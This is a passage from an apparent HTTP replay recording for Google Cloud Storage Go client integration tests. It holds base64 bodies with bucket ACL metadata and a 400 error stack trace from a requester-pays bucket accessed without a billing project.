"eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ2LjgwM1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0Ny45MTlaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBST0ifV0sImRlZmF1bHRPYmplY3RBY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FJPSJ9XSwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "b63c3951975a766e", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12183" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:49 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq-LP6kQLHNpjT5jYVkPzNXyfr838sGr4jGMVPq-FOq01ayCWvyWVAsvUbxp0NSdOYJcW-z0i2NkQLuSKGQYrX_3z8LW1Vb4uL2jxfC8kSiuz28hkA" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjEwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkdldEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0QnVja2V0LmphdmE6MzMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IuZ2V0KEJ1Y2tldHNEZWxlZ2F0b3IuamF2YTo4Mylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5HZXRCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldEJ1Y2tldC5qYXZhOjMzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLmdldChCdWNrZXRzRGVsZWdhdG9yLmphdmE6ODMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuR2V0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRCdWNrZXQuamF2YToxMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXB